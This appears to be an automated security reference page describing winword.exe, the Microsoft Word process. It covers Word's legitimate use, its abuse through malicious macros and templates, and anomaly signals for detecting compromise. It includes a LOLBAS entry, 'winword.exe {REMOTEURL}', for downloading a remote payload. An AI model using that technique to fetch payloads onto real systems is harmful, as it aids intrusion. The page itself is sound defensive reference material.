Process

unknown

winword.exe

winword.exe is Microsoft Word, the word processor in Microsoft Office. It is one of the most common ways malware reaches a machine: a weaponized document arrives by email, the user opens it in Word, and a macro or an exploit runs code. For an analyst, Word matters most as the parent of whatever it spawns.

File identity

File details

Not observed.

Signing information

Not observed.

File version0

Not observed.

File size0

Not observed.

Execution context

File paths0

Not observed.

User context0

Not observed.

Integrity level0

Not observed.

Instances0

Not observed.

Session0

Not observed.

Token privileges0

Not observed.

Ancestry

Parents0

Not observed.

Children0

Not observed.

Grandparents0

Not observed.

Grandchildren0

Not observed.

Behavior

Loaded modules0

Not observed.

Named pipes0

Not observed.

Process handles0

Not observed.

Command-line patterns0

Not observed.

LOLBAS1
  • winword.exe {REMOTEURL}Download · It will download a remote payload and place it in INetCache.

Indicators

Hashes

Not observed.

Analysis

About this process

winword.exe is the Word application. It opens and edits documents (.doc, .docx, .docm, .rtf), and through Visual Basic for Applications (VBA) those documents can carry macros, code that runs inside Word. Word is part of Microsoft Office, so the genuine binary is installed under C:\Program Files\Microsoft Office (or the (x86) path), not in a Windows system folder, and is signed by Microsoft.

Legitimately, winword.exe is opened by users to read and write documents, parented by explorer.exe or launched from Outlook or a browser. Editing a document is unremarkable. Word starting another program is not.

Security notes

winword.exe is a top initial-access and execution vector (T1204.002). A user is convinced to open a document and a VBA macro runs Word's payload, often a short script that downloads and launches the next stage (T1059.005). The recognizable evidence is Word spawning a shell or script host: winword.exe as the parent of powershell.exe, cmd.exe, mshta.exe, or wscript.exe is one of the most reliable signs of a malicious document.

Word is also a persistence surface (T1137). Macro-enabled templates like the global Normal.dotm, and Word add-ins registered to load at startup, run attacker code every time Word opens. New or unexpected entries in Word's template and add-in locations warrant review. Because Word itself is legitimate, the children it spawns, the network it touches, and changes to its startup items are what separate ordinary editing from compromise.

Anomaly signals5
  • Image path outside the Microsoft Office install directoryhigh
  • winword spawning cmd.exe, powershell.exe, mshta.exe, wscript.exe, or rundll32.exehigh
  • Outbound network connections shortly after a document openshigh
  • A child process running from or writing to Temp or AppDatahigh
  • New templates or add-ins registered for Word (Normal.dotm, startup paths)med

Telemetry

OS prevalence0

Not observed.

Observation timeline

Not observed.

References

Subsearch

Hasbeen seen inof winword.exe?